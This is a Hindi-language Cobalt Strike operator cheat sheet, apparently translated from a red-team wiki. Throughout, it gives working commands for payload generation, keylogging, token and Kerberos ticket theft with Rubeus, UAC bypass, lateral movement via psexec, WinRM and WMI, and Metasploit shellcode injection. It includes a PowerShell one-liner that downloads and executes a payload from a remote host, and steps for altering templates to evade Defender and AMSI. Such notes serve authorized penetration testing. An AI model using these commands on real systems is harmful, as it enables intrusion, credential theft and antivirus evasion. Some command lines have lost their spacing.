Cobalt Strike -> सुनवाईकर्ता -> जोड़ें/संपादित करें फिर आप कहां सुनना चाहते हैं, किस प्रकार के बीकन का उपयोग करना चाहते हैं (http, dns, smb...) और अधिक का चयन कर सकते हैं।
पीयर2पीयर सुनवाईकर्ता
इन सुनवाईकर्ताओं के बीकनों को सी2 के साथ सीधे बातचीत करने की आवश्यकता नहीं होती है, वे इसके माध्यम से इससे संवाद कर सकते हैं।
Cobalt Strike -> सुनवाईकर्ता -> जोड़ें/संपादित करें फिर आपको TCP या SMB बीकन का चयन करना होगा
TCP बीकन चयनित पोर्ट में एक सुनवाईकर्ता सेट करेगा। एक TCP बीकन से कनेक्ट करने के लिए दूसरे बीकन से connect <ip> <port> कमांड का उपयोग करें
smb बीकन चयनित नाम के पाइपमें सुनेगा। SMB बीकन से कनेक्ट करने के लिए आपको link [target] [pipe] कमांड का उपयोग करना होगा।
पेलोड उत्पन्न करें और होस्ट करें
फ़ाइलों में पेलोड उत्पन्न करें
हमले -> पैकेज ->
HTMLApplication HTA फ़ाइलों के लिए
MS Office Macro मैक्रो के साथ एक ऑफ़िस दस्तावेज़ के लिए
Windows Executable .exe, .dll या सेवा .exe के लिए
Windows Executable (S) एक stageless .exe, .dll या सेवा .exe के लिए (स्टेजलेस स्टेज्ड से बेहतर है, कम IoC)
पेलोड उत्पन्न करें और होस्ट करें
हमले -> वेब ड्राइव-बाई -> स्क्रिप्टेड वेब वितरण (S) इससे एक स्क्रिप्ट/एक्सीक्यूटेबल उत्पन्न होगा जो कोबाल्ट स्ट्राइक से बीकन को डाउनलोड करने के लिए होगा, जैसे: bitsadmin, exe, powershell और python
पेलोड होस्ट करें
यदि आपके पास पेश करने के लिए वेब सर्वर में रखने की फ़ाइल है, तो केवल हमले -> वेब ड्राइव-बाई -> फ़ाइल होस्ट पर जाएं और होस्ट करने के लिए फ़ाइल का चयन करें और वेब सर्वर कॉन्फ़िगरेशन करें।
बीकन विकल्प
# स्थानीय .NET बाइनरी को निष्पादित करेंexecute-assembly</path/to/executable.exe># स्क्रीनशॉटprintscreen# प्रिंटस्क्रीन विधि के माध्यम से एकल स्क्रीनशॉट लेंscreenshot# एकल स्क्रीनशॉट लेंscreenwatch# डेस्कटॉप के नियमित अंतराल पर स्क्रीनशॉट लें## उन्हें देखने के लिए व्यू -> स्क्रीनशॉट पर जाएं# कीलॉगरkeylogger [pid] [x86|x64]## कुंजीस्पर्श को देखने के लिए व्यू > कीस्ट्रोक्स पर जाएं# पोर्टस्कैनportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # दूसरे प्रक्रिया में पोर्टस्कैन क्रिया इंजेक्ट करें
portscan [targets] [ports] [arp|icmp|none] [max connections]# पावरशेल# पावरशेल मॉड्यूल आयात करेंpowershell-importC:\path\to\PowerView.ps1powershell<यहांपावरशेलकमांडलिखें># उपयोगकर्ता अनुकरण## क्रेडेंशियल के साथ टोकन उत्पन्न करेंmake_token [DOMAIN\user] [password] # नेटवर्क में एक उपयोगकर्ता के रूप में अनुकरण करने के लिए टोकन बनाएंls \\computer_name\c$ # एक कंप्यूटर में C$ तक पहुँचने के लिए उत्पन्न टोकन का उपयोग करने का प्रयास करेंrev2self# make_token के साथ उत्पन्न टोकन का उपयोग करना बंद करें## make_token का उपयोग ईवेंट 4624 उत्पन्न करता है: एक खाता सफलतापूर्वक लॉग ऑन हुआ था। यह ईवेंट विंडोज डोमेन में बहुत सामान्य है, लेकिन लॉगऑन प्रकार पर फ़िल्टर करके इसे संक्षेप में किया जा सकता है। जैसा कि पहले कहा गया है, इसमें LOGON32_LOGON_NEW_CREDENTIALS का उपयोग होता है जो प्रकार 9 है।
# UAC बाईपासelevatesvc-exe<सुनवाईकर्ता>elevateuac-token-duplication<सुनवाईकर्ता>runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## प्रक्रिया से टोकन चुरा लें## make_token की तरह, लेकिन प्रक्रिया से## SYSTEM से टिकट पास करें## टिकट के साथ एक नया प्रक्रिया उत्पन्न करेंexecute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## उस प्रक्रिया से टोकन चुराएंsteal_token<pid>## टिकट + टिकट पास निकालें### टिकट सूची बनाएंexecute-assemblyC:\path\Rubeus.exetriage### luid द्वारा दिलचस्प टिकट डंप करेंexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### नई लॉगऑन सत्र बनाएं, luid और processid का ध्यान रखेंexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### उत्पन्न लॉगऑन सत्र में टिकट डालेंexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### अंत में, उस नई प्रक्रिया से टोकन चुराएंsteal_token<pid># लैटरल मूवमेंट## यदि टोकन बनाया गया है तो उसका उपयोग किया जाएगाjump [method] [target] [listener]## विधियाँ:## psexec x86 सेवा का उपयोग करके एक सेवा EXE आर्टिफैक्ट चलाने के लिए## psexec64 x64 सेवा का उपयोग करके एक सेवा EXE आर्टिफैक्ट चलाने के लिए## psexec_psh x86 सेवा का उपयोग करके एक PowerShell वन-लाइनर चलाने के लिए## winrm x86 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएं## winrm64 x64 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएंremote-exec [method] [target] [command]## विधियाँ:## psexec सेवा नियंत्रण प्रबंधक के माध्यम से रिमोट एक्जीक्यूट करें## winrm WinRM के माध्यम से रिमोट एक्जीक्यूट करें (PowerShell)## wmi WMI के माध्यम से रिमोट एक्जीक्यूट करें## WMI के साथ एक बीकन निष्पादित करने के लिए (यह जंप कमांड में नहीं है) बस बीकन अपलोड करें और इसे निष्पादित करेंbeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Metasploit को सत्र पास करें - लिस्टनर के माध्यम से## Metaploit होस्ट परmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Cobalt पर: Listeners > Add और Payload को Foreign HTTP पर सेट करें। Host को 10.10.5.120, Port को 8080 सेट करें और Save पर क्लिक करें।
beacon> spawnmetasploit## आप केवल विदेशी लिस्टनर के साथ x86 Meterpreter सत्र उत्पन्न कर सकते हैं।# Metasploit सत्र को cobalt strike को पास करें - शेलकोड इंजेक्शन के माध्यम से## Metasploit होस्ट परmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## msfvenom चलाएं और multi/handler लिस्टनर को तैयार करें## बिन फ़ाइल को cobalt strike होस्ट में कॉपी करेंpsshinject<pid>x64C:\Payloads\msf.bin#Inject metasploit shellcode in a x64 process# Metasploit सत्र को cobalt strike को पास करें## निर्मित Beacon शेलकोड उत्पन्न करें, Attacks > Packages > Windows Executable (S) पर जाएं, वांछित लिस्टनर का चयन करें, आउटपुट प्रकार के रूप में Raw का चयन करें और Use x64 payload का चयन करें।
## Metasploit में post/windows/manage/shellcode_inject का उपयोग करें जिससे उत्पन्न किया गया cobalt srike shellcode इंजेक्ट होता है
# पिवटिंग## टीमसर्वर में एक सॉक्स प्रॉक्सी खोलेंbeacon> socks1080# SSH कनेक्शनbeacon> ssh10.10.17.12:22usernamepassword
AVs से बचें
Artifact Kit
आमतौर पर /opt/cobaltstrike/artifact-kit में आपको कोबाल्ट स्ट्राइक द्वारा उत्पन्न बाइनरी बीकन के कोड और पूर्व-संकलित टेम्पलेट (/src-common में) मिलेंगे।
ThreatCheck का उपयोग उत्पन्न बैकडोर (या केवल कंपाइल किए गए टेम्पलेट) के साथ करके आप यह जांच सकते हैं कि डिफेंडर को क्या ट्रिगर कर रहा है। आमतौर पर यह एक स्ट्रिंग होती है। इसलिए आप बैकडोर उत्पन्न कर रहे कोड में उस स्ट्रिंग को नहीं दिखने देने के लिए संशोधित कर सकते हैं।
कोड को संशोधित करने के बाद उसी निर्देशिका से ./build.sh चलाएं और dist-pipe/ फ़ोल्डर को Windows क्लाइंट में C:\Tools\cobaltstrike\ArtifactKit में कॉपी करें।
यह न भूलें कि आपको विनाशकारी स्क्रिप्ट dist-pipe\artifact.cna लोड करना होगा ताकि Cobalt Strike को हमारे द्वारा चयनित डिस्क संसाधनों का उपयोग करने के लिए नहीं करना पड़े।
संसाधन किट
संसाधन किट फ़ोल्डर में Cobalt Strike के स्क्रिप्ट-आधारित पेलोड के टेम्पलेट होते हैं, जिनमें PowerShell, VBA और HTA शामिल हैं।
टेम्पलेट के साथ ThreatCheck का उपयोग करके आप यह जान सकते हैं कि डिफ़ेंडर (इस मामले में AMSI) को क्या पसंद नहीं है और उसे संशोधित कर सकते हैं:
डिटेक्ट की गई लाइनों को संशोधित करके एक टेम्पलेट बनाया जा सकता है जो पकड़ा नहीं जाएगा।
याद रखें कि आपको एग्रेसिव स्क्रिप्ट ResourceKit\resources.cna लोड करना नहीं भूलना चाहिए ताकि कोबाल्ट स्ट्राइक को बताया जा सके कि हमें डिस्क से रिसोर्सेज़ का उपयोग करना है और न कि लोड किए गए रिसोर्सेज़।